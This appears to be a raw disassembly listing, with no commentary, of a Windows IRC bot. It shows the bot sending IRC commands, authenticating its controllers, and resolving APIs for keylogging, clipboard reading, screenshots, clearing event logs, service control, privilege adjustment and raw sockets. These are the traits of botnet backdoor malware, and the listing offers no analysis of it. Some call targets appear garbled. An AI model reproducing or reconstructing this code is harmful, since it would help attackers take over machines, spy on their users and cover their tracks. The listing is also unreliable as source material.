		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670580h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEF4[eax]
		call	near ptr 2680D1Dh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEF4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCE0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296EC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_4296C4

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_4296A0
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429674

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DE0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429658
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429634
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429610
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295EC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	near ptr 2670580h
		nop

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42957C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA5C ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE5C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429578 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294F8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294A4
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429484
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429464
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE54, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 2670580h

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB050, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAFA8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB060, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CB050, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_409C10
		cmp	dword_4CAFC4, ebx
		jz	short loc_409C10
		cmp	dword_4CAFA8, ebx
		jz	short loc_409C10
		cmp	dword_4CAEB8, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF0C, ebx
		jz	short loc_409C10
		cmp	dword_4CB004, ebx
		jz	short loc_409C10
		cmp	dword_4CB060, ebx
		jz	short loc_409C10
		cmp	dword_4CAEC4, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB064, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFDC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 2670E9Dh
		nop
		mov	dword_4CB068, eax
		mov	dword_4CB064, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690BBBh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB054, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		cmp	dword_4CB000, ebx
		mov	dword_4CAEE4, eax
		jz	short loc_409D00
		cmp	dword_4CAFB0, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CB054, ebx
		jz	short loc_409D00
		cmp	dword_4CAF74, ebx
		jz	short loc_409D00
		cmp	dword_4CAF94, ebx
		jz	short loc_409D00
		cmp	dword_4CAFF8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB06C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		cmp	dword_4CAF70, ebx
		mov	dword_4CAF28, eax
		jz	short loc_409D67
		cmp	dword_4CAE78, ebx
		jz	short loc_409D67
		cmp	dword_4CAF40, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	near ptr 2670E9Dh
		nop
		mov	dword_4CB070, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB06C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAF24, eax
		call	esi
		cmp	dword_4CB014, ebx
		mov	dword_4CAF34, eax
		jz	short loc_409E1A
		cmp	dword_4CAF58, ebx
		jz	short loc_409E1A
		cmp	dword_4CAFC8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAEA4, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF08, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF80, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB074, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		cmp	dword_4CAF88, ebx
		mov	dword_4CB010, eax
		jz	short loc_409E5F
		cmp	dword_4CAF60, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB074, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		cmp	dword_4CAF98, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE80, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE88, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEEC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEF0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE9C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF64, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB074, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE84, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB078, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB074, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFE8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAFAC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFEC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		cmp	dword_4CAF90, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A016
		cmp	dword_4CAFE8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFF0, ebx
		jz	short loc_40A016
		cmp	dword_4CAFAC, ebx
		jz	short loc_40A016
		cmp	dword_4CAEC8, ebx
		jz	short loc_40A016
		cmp	dword_4CAE74, ebx
		jz	short loc_40A016
		cmp	dword_4CAFEC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE60, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2670E9Dh
		mov	dword_4CB080, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB07C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB048, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAEB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB040, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF4C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAFA4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		mov	dword_4CAF7C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB038, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB028, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEF8, eax
		call	esi
		cmp	dword_4CAF14, ebx
		mov	dword_4CB03C, eax
		jz	loc_40A2E7
		cmp	dword_4CB048, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF50, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF38, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEFC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB024, ebx
		jz	loc_40A2E7
		cmp	dword_4CB040, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB030, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFE4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	loc_40A2E7
		cmp	dword_4CAED4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	short loc_40A2E7
